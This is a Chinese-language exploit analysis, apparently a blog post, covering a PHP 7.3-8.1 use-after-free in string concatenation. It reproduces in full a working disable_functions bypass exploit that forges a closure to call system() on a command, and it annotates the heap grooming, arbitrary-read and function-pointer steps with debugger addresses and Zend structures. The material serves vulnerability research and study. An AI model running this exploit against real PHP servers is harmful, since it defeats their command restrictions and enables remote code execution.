PHP 7.3-8.1 中字符串连接符中有一个错误,当参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF
<?php $my_var = str_repeat("a", 1); set_error_handler( function() use(&$my_var) { echo("error\n"); $my_var = 0x123; } ); $my_var .= [0]; ?>
<?php # PHP 7.3-8.1 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=81705 # # This exploit should work on all PHP 7.3-8.1 versions # released as of 2022-01-07 # # Author: https://github.com/mm0r1 new Pwn("uname -a"); class Helper { public $a, $b, $c; } class Pwn { const LOGGING = false; const CHUNK_DATA_SIZE = 0x60; const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE; const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1; // 0x18是zend_string的头大小 const HT_SIZE = 0x118; const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1; public function __construct($cmd) { for($i = 0; $i < 10; $i++) { // 分配了两个数组结构,其值指向字符串结构 // 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存 // 为什么要这个操作,不要好像也可以 $groom[] = self::alloc(self::STRING_SIZE); $groom[] = self::alloc(self::HT_STRING_SIZE); } $concat_str_addr = self::str2ptr($this->heap_leak(), 16); // concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580,这是concat产生的结果。 // 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置,concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置 $fill = self::alloc(self::STRING_SIZE); // 为啥要这个操作,没有还不行 // STRING_SIZE能分配到95字节的内存空间 // $fill的zend_string地址是0x7ffff3a84500 // 二者大小相同,地址紧挨,相距0x80 // 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80 // 为什么$fill在'Array'+'A'*66的前面呢 printf("0x%x\n",$concat_str_addr); $this->abc = self::alloc(self::STRING_SIZE); var_dump($fill); $abc_addr = $concat_str_addr + self::CHUNK_SIZE; self::log("abc @ 0x%x", $abc_addr); $this->free($abc_addr); $this->helper = new Helper; if(strlen($this->abc) < 0x1337) { self::log("uaf failed"); return; } $this->helper->a = "leet"; $this->helper->b = function($x) {}; $this->helper->c = 0xfeedface; $helper_handlers = $this->rel_read(0); self::log("helper handlers @ 0x%x", $helper_handlers); $closure_addr = $this->rel_read(0x20); self::log("real closure @ 0x%x", $closure_addr); $closure_ce = $this->read($closure_addr + 0x10); self::log("closure class_entry @ 0x%x", $closure_ce); $basic_funcs = $this->get_basic_funcs($closure_ce); self::log("basic_functions @ 0x%x", $basic_funcs); $zif_system = $this->get_system($basic_funcs); self::log("zif_system @ 0x%x", $zif_system); $fake_closure_off = 0x70; for($i = 0; $i < 0x138; $i += 8) { $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->rel_write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->rel_write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18; self::log("fake closure @ 0x%x", $fake_closure_addr); $this->rel_write(0x20, $fake_closure_addr); ($this->helper->b)($cmd); $this->rel_write(0x20, $closure_addr); unset($this->helper->b); } private function heap_leak() {//开始UAF $arr = [[], []];//首先是数组 $buf=null;//然后是一个临时变量 set_error_handler(function() use (&$arr, &$buf) { $arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放 // 这一步操作会调用zend_array_destroy回收内存 // ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中,将$arr中存储的zend_array地址视为垃圾(garbage),调用rc_dtor_func回收 // $arr对应的zval.value的值变为1. // zend_mm_free_small回收了$arr的内存,重新挂载到了slot——16,320字节大小的链表头上。 // $arr结构的arData结构在0x7ffff3a5d288,释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80,时9号规格的small内存,96字节 // 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280,$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节) // 为啥从0x7ffff3a5d280跟前开始释放呢,$arr时pack array,不需要索引数组,所以其只有两个单位的值为-1的索引数组,索引数组一个solt占4个字节,两个就是8字节 // 索引数组就在Bucket的签名,通过相关size的计算可以得出索引数组的大小,这里算得索引数组的大小为2,所以最后释放的地址就是0x7ffff3a5d280,其offset=8的位置就是arData,即第一个Bucket // 这个未初始化的数组是在编译阶段就分配的,分配Bucket时,最少一次分配8个,每个32B,共256B再加上8个字节的索引数组,共计264B,能容纳这么多最小规格时16号320B大小的small内存 // zend_string头有24字节,分配255长度的字符串内存,共计需要279B,也会分配到16号规格内存,如此,UAF的条件达到 // 调用栈 /* zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (\home\xxxxx\php-src\Zend\zend_alloc.c:1280) zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:1370) _efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:2549) zend_array_destroy(HashTable * ht) (\home\xxxxx\php-src\Zend\zend_hash.c:1635) rc_dtor_func(zend_refcounted * p) (\home\xxxxx\php-src\Zend\zend_variables.c:57) zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (\home\xxxxx\php-src\Zend\zend_execute.h:131) ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:40771) execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57205) zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (\home\xxxxx\php-src\Zend\zend_execute_API.c:812) _call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (\home\xxxxx\php-src\Zend\zend_execute_API.c:644) zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (\home\xxxxx\php-src\Zend\zend.c:1366) zend_error(int type, const char * format) (\home\xxxxx\php-src\Zend\zend.c:1480) __zval_get_string_func(zval * op, zend_bool try) (\home\xxxxx\php-src\Zend\zend_operators.c:889) zval_get_string_func(zval * op) (\home\xxxxx\php-src\Zend\zend_operators.c:925) concat_function(zval * result, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_operators.c:1829) zend_binary_op(zval * ret, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_execute.c:1312) ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:39117) execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57109) zend_execute(zend_op_array * op_array, zval * return_value) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57913) zend_execute_scripts(int type, zval * retval, int file_count) (\home\xxxxx\php-src\Zend\zend.c:1665) */ $buf = str_repeat("\x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体 // 经过对原来的arr结构地址设置数据更改断点发现,arr原本的位置被str_repeat函数操作时覆盖 // 在一次调试中,_zend_array存储在0x7ffff3a59a80,这是一个哈希表,arData存储在0x7ffff3a5d288,Bucket长度2 // 新分配的字符串长度255,占空间287,emalloc得到地址0x7ffff3a5d280 // 该地址在16号规格small内存中,320B // // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置,concat的错误使得该匿名函数被调用,即ZEND_ERROR被执行,ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行 }); $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); // op2是长度为一个96(0x60)标准存储单元大小的zend_string结构体,op1是zval_struct结构体 //op1是数组,op2是字符串,concat时,引发错误,掉头error handler的回调函数,$arr变量的内存指向zval_struct, //offset+0偏移处的成员是一个_zend_array结构体的地址,现在其值就是1,数字1,一个64位地址,里面只有1。 //在这一部操作中,op1是引用类型的值,handler发现其是引用,就提取出它引用的内容,发现是一个数组,然后调用宏SEPARATE_ARRAY来分离数组 // 引用计数只有1时,分离操作不起作用,否则,垃圾回收机制会删除一次引用 // 在赋值操作实际执行时,$arr所代表的数组被提取出来作为实际操作数 // 对于的handler是ASSIGN_DIM_OP,操作数 op1是$arr,op2是1,根据指令的特点,该handler会调用下一条指令的数据,OP_DATA的操作数,及alloc产生的字符串 // 于是 op1是$arr[1],是数组,op2是字符串'\x00'*255 // 因为op1的是array,所以触发ZEND_ERROR // zend_fetch_dimension_address_inner_RW_CONST,handler调用该函数在哈希表中对数组取值 // $arr[1]的地址在0x7ffff3a5d2a8 /* */ // ZEND_ERROR执行后,__zval_get_string_func返回一个zend_known_strings的地址,其内容时Array,并赋给了op1_copy,暂存op1,(此时真正的op1已经被字符串覆盖了) // 因为时.=这种自操作,所以指令中的result和op1的地址相同,对result的操作就是对op1的操作 // op1_copy得到值后,op1_copy的地址被赋回op1,即op1表示zend_known_strings,即"Array"的地址 // 此时,result指向"\x00"*255的zval,op2指向66字节长度的alloc函数产生的字符串,最终concat_function返回了'Array'+'A'*66这段字符串,$buf的zval.value也指向了新分配的存储这块内存 // $buf的zval.value本来是全0,$buf本身的结构在0x7ffff3a5d280,但是op1的引用在0x7ffff3a5d2a8,有40个字节的偏移 // 执行这句ZVAL_NEW_STR(result, result_str)时,0x7ffff3a5d2a8的zval.value被赋值,指向'Array'+'A'*66这段字符串zend_string // 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址 // offset=16因为$buf在0x7ffff3a5d280,result在0x7ffff3a5d2a8,相差40字节,除去0x7ffff3a5d280开始的24字节字符串zend_string的头外,再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。 file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf); return $buf; } private function free($addr) { $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload)); $arr = [[], []]; set_error_handler(function() use (&$arr, &$buf, &$payload) { $arr = 1; $buf = str_repeat($payload, 1); }); $arr[1] .= "x"; } private function rel_read($offset) { return self::str2ptr($this->abc, $offset); } private function rel_write($offset, $value, $n = 8) { for ($i = 0; $i < $n; $i++) { $this->abc[$offset + $i] = chr($value & 0xff); $value >>= 8; } } private function read($addr, $n = 8) { $this->rel_write(0x10, $addr - 0x10); $value = strlen($this->helper->a); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; } private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); } private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20180731, 20190902, 20200930, 20210902])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { self::log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } } private function log($format, $val = "") { if(self::LOGGING) { printf("{$format}\n", $val); } } static function alloc($size) { return str_shuffle(str_repeat("A", $size)); } static function str2ptr($str, $p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p + $j]); } return $address; } } ?>
<?php $arr = [[], []];//首先是数组 arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); ?>
set_error_handler
会设置错误处理句柄,当PHP执行报错时,调用该函数
.=
是PHP赋值操作附加字符串连接,这里对应操作是ZEND_ASSIGN_DIM_OP
,意思就是数组降维,说白了就是取数组元素。
赋值的参数是zval(IS_STRING:66*'\0')
,被赋值的是一个zend_empty_array,然后进入 zend_binary_op
进行赋值操作
参数列表是(ret=arr[1],op1=arr[1],[email protected]*'\0')
,此处因为是.=
,即自赋值,返回值和op1是一样的
zend_binary_op
函数中定义了各种不同类型的操作句柄,由Opcode的扩展值决定使用那种操作
static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC) { static const binary_op_type zend_binary_ops[] = { add_function, sub_function, mul_function, div_function, mod_function, shift_left_function, shift_right_function, concat_function, bitwise_or_function, bitwise_and_function, bitwise_xor_function, pow_function }; /* size_t cast makes GCC to better optimize 64-bit PIC code */ size_t opcode = (size_t)opline->extended_value; return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2); } //op fetch ext return operands //ASSIGN_DIM_OP .= 8 !0, 1 //此处的扩展值是8,即调用concat_function进行操作
\$arr存了一串Bucket,每个Bucket里面带了一个zval,对于\$arr来说,每个元素是一个zend_array
跟进concat_function
:
首先验证op1是不是字符串,如果不是,字符串,就尝试使用zval_get_string_func(op1)
从中得到字符串
跟进zval_get_string_func
:
判断类型,发现是IS_ARRAY,调用zend_error,触发回调错误处理句柄
<?php $buf=null; set_error_handler(function() use (&$arr, &$buf){ $arr = 2; $buf = str_repeat("\x00", self::HT_STRING_SIZE); });
在错误处理句柄中,\$arr被重新赋值,导致其本来对应的那块空间被销毁,即其堆地址被挂载到了free链表上了。被销毁的包括\$arr对应的zend_array结构,以及哈希表数据存储的部分,即Bucket所在的部分。
以某次调试为例,zval_get_string_func
的参数zval即\$arr[1]的地址是0x7ffff3a5d2a8,它是第二个Bucket,一个Bucket的大小是32B,然后packed类型的未初始化数组的数组索引表大小是2,每个索引值都是-1,size是32b即4字节,arData的地址就是0x7ffff3a5d288,整个数据部分的地址就是0x7ffff3a5d280,当前arr这个数组共有8个Bucket,2个索引,共计264字节,加上调试信息32字节,这块结构共计296字节,占据32号RUN规格的内存。根据地址计算得到验证。
buf现在需要分配HT_STRING_SIZE = HT_SIZE - 0x18 - 1 = 0x118 -0x18 -1的内容。0x118是280B,即分配255长的字符串,需要分配空间是(_ZSTR_HEADER_SIZE + len + 1) = 280B
,因为分配字符串时还会带上zend_mm_debug_info的32字节,所以需要额外32字节,即共需312B空间,最后分配得到320B的空间,刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的'\0'
,来自于
for($i = 0; $i < 10; $i++) { // 分配了两个数组结构,其值指向字符串结构 // 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存 // 为什么要这个操作,不要好像也可以 $groom[] = self::alloc(self::STRING_SIZE); $groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间 }
继续,错误处理完后,op1的位置已经不复存在了,op1指向了一个新的字符串”Array“,上面提到的255*‘\0’
放在buf中。
回到concat_function
,处理完op1后,再处理op2,op2本身就是字符串66*A
,拼接后得到‘Array+66*A
,此时返回值是存储再0x7ffff3a5d2a8处的,所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处
此时,\$buf中的zend_string首地址就是0x7ffff3a5d280,字符串内容的地址就是0x7ffff3a5d298,在字符串内容偏移+16处,即zend_string+40处。这样我们就能够得到‘Array+66*A
的zval结构(地址0x7ffff3a84580,type=6=IS_STRING)。同时,能够控制通过buf对该位置值的控制,读取任意地址的内容。
然后是
$this->abc = self::alloc(self::STRING_SIZE);
STRING_SIZE
在调试环境下始终是47,分配到0x80=128B的内存空间。
前面提到的Array+66*A
长度也是STRING_SIZE
,二者占据的大小相同,空间相邻。
$fill = self::alloc(self::STRING_SIZE);
是为了消耗掉Array+66*A
前面的0x80的空间,避免$this->abc
分配到其前面,导致后面计算abc的地址的计算方法错误(==有一个问题,为何Array+66*A前面还会有空间空着==)
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
有一个问题,为何Array+66*A前面还会有空间空着:
根据调试,这是op2参数的位置。。。,用完之后会被释放,即0x7ffff3a84500在链表首。
回到前面,abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。
此时进行了另一个操作
$this->free($abc_addr); private function free($addr) { $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间 $arr = [[], []];//320B的空间 set_error_handler(function() use (&$arr, &$buf, &$payload) { $arr = 1; $buf = str_repeat($payload, 1);//数组的320B被填充 }); $arr[1] .= "x"; }
free函数的功能很明显和heap_leap很相似,只不过填充arData空间的不再是全0。根据前面的分析,这里又分配了一个320字节的块,并用pack("Q*", 0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA
填充,
重点:然后,在销毁该哈希表的时候,会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680,arData就在0x00007ffff3a5e688, $arr[1]
就在0x00007ffff3a5e6a8
,显然这里存储了一个zval
zval_struct{ .value = 0x00007ffff3a5e6a8; .u1.v.type = 6 }
这里就会被识别为一个字符串,然后其引用值为1,释放的时候就会被直接释放掉。所以$this->abc
这里的0x80 = 128字节就会空出来
free函数执行完后,buf是指向长度0xdeadbeef的字符串,zend_string地址在0x7ffff3a5e680,$arr[1] .= "x"
的结构存储在0x00007ffff3a92f80;
继续,
$this->helper = new Helper; if(strlen($this->abc) < 0x1337) { self::log("uaf failed"); return; } $this->helper->a = "leet"; $this->helper->b = function($x) {}; $this->helper->c = 0xfeedface;
这里新建了一个类,对应ZEND_NEW
操作,其会从EG(class_table)
全局类表中找到对应的zend_class_entry
结构的地址,此处为0x7ffff3a04018,该结构大小为456B,然后调用object_init_ex初始化一个对象出来(0x7ffff3a84600)。分配对象的时候用到了zend_objects_new,计算出的需要分配的大小是
56 + 16*2 +32= 120
其中((ce->ce_flags & ZEND_ACC_USE_GUARDS) = 1
),刚好分配到free(abc)
所得到的空间。
其中的成员变量b
被赋予了一个闭包函数,即从EG(function_table)
里面找到了zend_function
结构,该结构大小224,该闭包函数的名字是%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240
(注意url解码)。zend_function
结构和zend_op_array
具有相同大小,切二者拥有相同的common部分
union _zend_function { zend_uchar type; /* MUST be the first element of this struct! */ uint32_t quick_arg_flags; struct { zend_uchar type; /* never used */ zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */ uint32_t fn_flags; zend_string *function_name; zend_class_entry *scope; zend_function *prototype; uint32_t num_args; uint32_t required_num_args; zend_arg_info *arg_info; } common; zend_op_array op_array; zend_internal_function internal_function; };
然后是计算helper对象的地址
$helper_handlers = $this->rel_read(0); private function rel_read($offset) { return self::str2ptr($this->abc, $offset); } static function str2ptr($str, $p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p + $j]); } return $address; }
前面提到,$this->abc
会引用到一块已经空闲的0x80=128大小的空间,分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间,于是$this->abc
现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。
struct _zend_object { zend_refcounted_h gc;//8B uint32_t handle; // TODO: may be removed ??? zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; }; struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; }; //根据这两个结构的对比以及字节对齐的原理,val处的值就是对象对应的zend_object_handlers,字符串长度就是ce的地址 ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce) { zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce)); _zend_object_std_init(object, ce); object->handlers = &std_object_handlers; return object; } static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce) { return sizeof(zval) * (ce->default_properties_count - ((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1)); }
据此,可以读取到helper的zend_object中的handlers地址
$helper_handlers = $this->rel_read(0);
然后是closure,这里其实读到的就是$helper->b
对应的zend_object
结构的地址(zval中的地址值存储在最前面)
$closure_addr = $this->rel_read(0x20); self::log("real closure @ 0x%x", $closure_addr);
再然后是读取closure_ce,
$closure_ce = $this->read($closure_addr + 0x10); self::log("closure class_entry @ 0x%x", $closure_ce); private function rel_write($offset, $value, $n = 8) { for ($i = 0; $i < $n; $i++) { $this->abc[$offset + $i] = chr($value & 0xff); $value >>= 8; } } private function read($addr, $n = 8) { $this->rel_write(0x10, $addr - 0x10); $value = strlen($this->helper->a); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; }
读取方法如下:0x10偏移处是 $helper->a
的zval,更改其value字段为要读取的addr-0x10,就能使用字符串长度获取到对应的值(len字段在zend_string的0x10偏移处,读取len就需要给定zend_string的地址,即将zval的value字段覆盖为addr-0x10)
此时达到了任意地址读的目的,然后就是读取helper->b的匿名函数_zend_object
的偏移0x10处的值,即zend_object.ce;
,是类的描述结构zend_class_entry
的地址。该结构内部包含方法所属类名,父类名,各种魔术方法等。
struct _zend_class_entry { char type; zend_string *name; /* class_entry or string depending on ZEND_ACC_LINKED */ union { zend_class_entry *parent; zend_string *parent_name; }; int refcount; uint32_t ce_flags; int default_properties_count; int default_static_members_count; zval *default_properties_table; zval *default_static_members_table; ZEND_MAP_PTR_DEF(zval *, static_members_table); HashTable function_table; HashTable properties_info; HashTable constants_table; struct _zend_property_info **properties_info_table; zend_function *constructor; zend_function *destructor; zend_function *clone; zend_function *__get; zend_function *__set; zend_function *__unset; zend_function *__isset; zend_function *__call; zend_function *__callstatic; zend_function *__tostring; zend_function *__debugInfo; zend_function *serialize_func; zend_function *unserialize_func; /* allocated only if class implements Iterator or IteratorAggregate interface */ zend_class_iterator_funcs *iterator_funcs_ptr; /* handlers */ union { zend_object* (*create_object)(zend_class_entry *class_type); int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */ }; zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref); zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method); /* serializer callbacks */ int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data); int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data); uint32_t num_interfaces; uint32_t num_traits; /* class_entry or string(s) depending on ZEND_ACC_LINKED */ union { zend_class_entry **interfaces; zend_class_name *interface_names; }; zend_class_name *trait_names; zend_trait_alias **trait_aliases; zend_trait_precedence **trait_precedences; union { struct { zend_string *filename; uint32_t line_start; uint32_t line_end; zend_string *doc_comment; } user; struct { const struct _zend_function_entry *builtin_functions; struct _zend_module_entry *module; } internal; } info; };
再者是获取函数基地址,
$basic_funcs = $this->get_basic_funcs($closure_ce); self::log("basic_functions @ 0x%x", $basic_funcs); private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20180731, 20190902, 20200930, 20210902])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { self::log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } }
读取方法是根据ce的地址,在其前面查找,根据MODULE_API_NO进行验证查找模块结构zend_module_entry
struct _zend_module_entry { unsigned short size; unsigned int zend_api; unsigned char zend_debug; unsigned char zts; const struct _zend_ini_entry *ini_entry; const struct _zend_module_dep *deps; const char *name; const struct _zend_function_entry *functions; int (*module_startup_func)(INIT_FUNC_ARGS); int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); int (*request_startup_func)(INIT_FUNC_ARGS); int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); const char *version; size_t globals_size; #ifdef ZTS ts_rsrc_id* globals_id_ptr; #else void* globals_ptr; #endif void (*globals_ctor)(void *global); void (*globals_dtor)(void *global); int (*post_deactivate_func)(void); int module_started; unsigned char type; void *handle; int module_number; const char *build_id; };
offset=0处事size,offset=4处是zend_api,一般是20180731、20190902、20200930、20210902中之一,offset=0x20处是模块名name的地址。
为什么可以在ce的附近找到module呢,因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到,该结构在do_register_internal_class
中被malloc分配并初始化,在加载启动Core模块时被分配在堆空间中。
调用栈如下:
而standard
模块的zend_module_entry
结构在php_register_internal_extensions_func
注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈:
这里向哈希表中添加内容时,该哈希表的GC位被设置了IS_ARRAY_PERSISTENT,即被分配于系统malloc区内。
所以,ce和module都在堆中,可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。
#define ZEND_MODULE_API_NO 20190902 #define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS zend_module_entry basic_functions_module = { /* {{{ */ STANDARD_MODULE_HEADER_EX, NULL, standard_deps, "standard", /* extension name */ basic_functions, /* function list */ PHP_MINIT(basic), /* process startup */ PHP_MSHUTDOWN(basic), /* process shutdown */ PHP_RINIT(basic), /* request startup */ PHP_RSHUTDOWN(basic), /* request shutdown */ PHP_MINFO(basic), /* extension info */ PHP_STANDARD_VERSION, /* extension version */ STANDARD_MODULE_PROPERTIES };
_zend_module_entry偏移为0x24的位置是_zend_function_entry结构的地址,里面存放了该模块所有的函数,其中就包括了PHP_FE(system,arginfo_system)
依次读出_zend_function_entry列表里的每一个zend_function_entry结构,为其分配zend_internal_function大小的堆空间,然后拷贝zend_function前面一部分内容。因为zend_function是一个联合体,里面zend_op_array是最大的,所以拷贝前面zend_internal_function大小就可以了。这个新的zend_internal_function结构的指针将会被添加到全局函数表中。我们找到的其实是被全局定义在zend_module_entry的function列表中的basic_functions。
typedef struct _zend_function_entry { const char *fname; zif_handler handler; const struct _zend_internal_arg_info *arg_info; uint32_t num_args; uint32_t flags; } zend_function_entry;
handler就是真正的函数地址
我们要做的就是将找到的_zend_function_entry结构赋给zend_function
的handler
$zif_system = $this->get_system($basic_funcs); self::log("zif_system @ 0x%x", $zif_system);
接下来就是构造一个假的闭包函数,让他成为内部函数。
$fake_closure_off = 0x70; for($i = 0; $i < 0x138; $i += 8) { $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->rel_write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->rel_write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18; self::log("fake closure @ 0x%x", $fake_closure_addr); $this->rel_write(0x20, $fake_closure_addr); ($this->helper->b)($cmd); $this->rel_write(0x20, $closure_addr); unset($this->helper->b);
对于($this->helper->b)($cmd);
类的动态调用,会进入zend_init_dynamic_call_object
逻辑,获取对象的get_closure
句柄并调用。
在zend_init_dynamic_call_object
内,传入的obj指针被强转为zend_closure
闭包,其实在编译的时候,分配的空间大小就是按照_zend_closure分配的(加上调试信息共需要344B,分配得到17号RUN,384B),其中第一个成员就是_zend_object。
转换为闭包后,能够读取到其对应得zend_function
、zend_class_entry
等。
typedef struct _zend_closure {//312B zend_object std;//56B zend_function func;//224B zval this_ptr;//16B zend_class_entry *called_scope; zif_handler orig_internal_handler;//8B typedef void (ZEND_FASTCALL *zif_handler)(INTERNAL_FUNCTION_PARAMETERS) } zend_closure; //对比 struct _zend_object { zend_refcounted_h gc;//8B uint32_t handle; // TODO: may be removed ??? zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; };
数据复制的大概流程是
向abc
所在的空间即helper
对象对应的zend_object
内容的0x70=112的偏移处开始写值(一个zend_object是56字节,这里隔了一个zend_object的空间),数据来源是闭包函数helper->b对应的zend_object
(或者可以说是zend_closure
)的内容。共计复制0x138=312B=sizeof(zend_closure)
的内容。按理来说,这块内存并没有被分配出来,而且规格不对。但是我们能写入的内容只能是在abc内以及abc的后面
helper
对象对应的zend_object
内容的0x70=112的偏移处已经是一个新的块的起始位置(helper对应得zend_object占得是abc得空间,包含头只有128字节,写得时候只能从offset+24处开始写,所以offset+0x70就是新的字符串块儿的,原本abc的空间可写长度剩余128-24=104字节,向后跨越112字节,来到了新的128字节存储块的offset+8处,没有从offset+0处开始是保留了这里的空闲链表指针)。
连续向下写0x138=312B的数据,会非法占用abc后面的3个128B的块儿。
复制完后,就更改helper->b对应得zend_object结构的地址,让其指向新的zend_closure
处。
为什么不直接更改zend_closure的handler
我们是任意读,但是受限写,只能写入abc块后面空间。而zend_closure
在abc前面,所以只能复制到我们能写的地方,然后再处理。
处理一下
$this->rel_write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;//因为主版本的变化,这里的偏移量可能会有所不同,新版本的偏移量我没算 $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
[email protected]+0x68处是zend_closure.zend_function.zend_internal_function.zif_handler
,即函数句柄
